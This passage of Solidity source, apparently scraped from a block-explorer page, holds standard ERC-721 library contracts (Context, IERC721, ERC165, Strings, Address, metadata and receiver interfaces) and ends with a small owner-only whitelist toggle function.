tokenId); // Clear approvals from the previous owner _approve(address(0), tokenId); _balances[from] -= 1; _balances[to] += 1; _owners[tokenId] = to; emit Transfer(from, to, tokenId); } /** * @dev Approve `to` to operate on `tokenId` * * Emits a {Approval} event. */ function _approve(address to, uint256 tokenId) internal virtual { _tokenApprovals[tokenId] = to; emit Approval(ERC721.ownerOf(tokenId), to, tokenId); } /** * @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address. * The call is not executed if the target address is not a contract. * * @param from address representing the previous owner of the given token ID * @param to target address that will receive the tokens * @param tokenId uint256 ID of the token to be transferred * @param _data bytes optional data to send along with the call * @return bool whether the call correctly returned the expected magic value */ function _checkOnERC721Received( address from, address to, uint256 tokenId, bytes memory _data ) private returns (bool) { if (to.isContract()) { try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) { return retval == IERC721Receiver.onERC721Received.selector; } catch (bytes memory reason) { if (reason.length == 0) { revert("ERC721: transfer to non ERC721Receiver implementer"); } else { assembly { revert(add(32, reason), mload(reason)) } } } } else { return true; } } /** * @dev Hook that is called before any token transfer. This includes minting * and burning. * * Calling conditions: * * - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be * transferred to `to`. * - When `from` is zero, `tokenId` will be minted for `to`. * - When `to` is zero, ``from``'s `tokenId` will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address from, address to, uint256 tokenId ) internal virtual {} } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../../utils/introspection/IERC165.sol"; /** * @dev Required interface of an ERC721 compliant contract. */ interface IERC721 is IERC165 { /** * @dev Emitted when `tokenId` token is transferred from `from` to `to`. */ event Transfer(address indexed from, address indexed to, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables `approved` to manage the `tokenId` token. */ event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets. */ event ApprovalForAll(address indexed owner, address indexed operator, bool approved); /** * @dev Returns the number of tokens in ``owner``'s account. */ function balanceOf(address owner) external view returns (uint256 balance); /** * @dev Returns the owner of the `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function ownerOf(uint256 tokenId) external view returns (address owner); /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Transfers `tokenId` token from `from` to `to`. * * WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * * Emits a {Transfer} event. */ function transferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Gives permission to `to` to transfer `tokenId` token to another account. * The approval is cleared when the token is transferred. * * Only a single account can be approved at a time, so approving the zero address clears previous approvals. * * Requirements: * * - The caller must own the token or be an approved operator. * - `tokenId` must exist. * * Emits an {Approval} event. */ function approve(address to, uint256 tokenId) external; /** * @dev Returns the account approved for `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function getApproved(uint256 tokenId) external view returns (address operator); /** * @dev Approve or remove `operator` as an operator for the caller. * Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller. * * Requirements: * * - The `operator` cannot be the caller. * * Emits an {ApprovalForAll} event. */ function setApprovalForAll(address operator, bool _approved) external; /** * @dev Returns if the `operator` is allowed to manage all of the assets of `owner`. * * See {setApprovalForAll} */ function isApprovedForAll(address owner, address operator) external view returns (bool); /** * @dev Safely transfers `tokenId` token from `from` to `to`. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes calldata data ) external; } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "./IERC165.sol"; /** * @dev Implementation of the {IERC165} interface. * * Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check * for the additional interface id that will be supported. For example: * * ```solidity * function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { * return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId); * } * ``` * * Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation. */ abstract contract ERC165 is IERC165 { /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return interfaceId == type(IERC165).interfaceId; } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev String operations. */ library Strings { bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef"; /** * @dev Converts a `uint256` to its ASCII `string` decimal representation. */ function toString(uint256 value) internal pure returns (string memory) { // Inspired by OraclizeAPI's implementation - MIT licence // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol if (value == 0) { return "0"; } uint256 temp = value; uint256 digits; while (temp != 0) { digits++; temp /= 10; } bytes memory buffer = new bytes(digits); while (value != 0) { digits -= 1; buffer[digits] = bytes1(uint8(48 + uint256(value % 10))); value /= 10; } return string(buffer); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation. */ function toHexString(uint256 value) internal pure returns (string memory) { if (value == 0) { return "0x00"; } uint256 temp = value; uint256 length = 0; while (temp != 0) { length++; temp >>= 8; } return toHexString(value, length); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length. */ function toHexString(uint256 value, uint256 length) internal pure returns (string memory) { bytes memory buffer = new bytes(2 * length + 2); buffer[0] = "0"; buffer[1] = "x"; for (uint256 i = 2 * length + 1; i > 1; --i) { buffer[i] = _HEX_SYMBOLS[value & 0xf]; value >>= 4; } require(value == 0, "Strings: hex length insufficient"); return string(buffer); } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{value: amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain `call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{value: value}(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); (bool success, bytes memory returndata) = target.delegatecall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the * revert reason using the provided one. * * _Available since v4.3._ */ function verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) internal pure returns (bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../IERC721.sol"; /** * @title ERC-721 Non-Fungible Token Standard, optional metadata extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721Metadata is IERC721 { /** * @dev Returns the token collection name. */ function name() external view returns (string memory); /** * @dev Returns the token collection symbol. */ function symbol() external view returns (string memory); /** * @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token. */ function tokenURI(uint256 tokenId) external view returns (string memory); } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @title ERC721 token receiver interface * @dev Interface for any contract that wants to support safeTransfers * from ERC721 asset contracts. */ interface IERC721Receiver { /** * @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom} * by `operator` from `from`, this function is called. * * It must return its Solidity selector to confirm the token transfer. * If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted. * * The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`. */ function onERC721Received( address operator, address from, uint256 tokenId, bytes calldata data ) external returns (bytes4); } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Interface of the ERC165 standard, as defined in the * https://eips.ethereum.org/EIPS/eip-165[EIP]. * * Implementers can declare support of contract interfaces, which can then be * queried by others ({ERC165Checker}). * * For an implementation, see {ERC165}. */ interface IERC165 { /** * @dev Returns true if this contract implements the interface defined by * `interfaceId`. See the corresponding * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] * to learn more about how these ids are created. * * This function call must use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) external view returns (bool); }
Changes the state of whitelist restriction.
function setWhitelistState(bool _state) public whenNotPaused onlyOwner { whitelistState = _state; }
20,428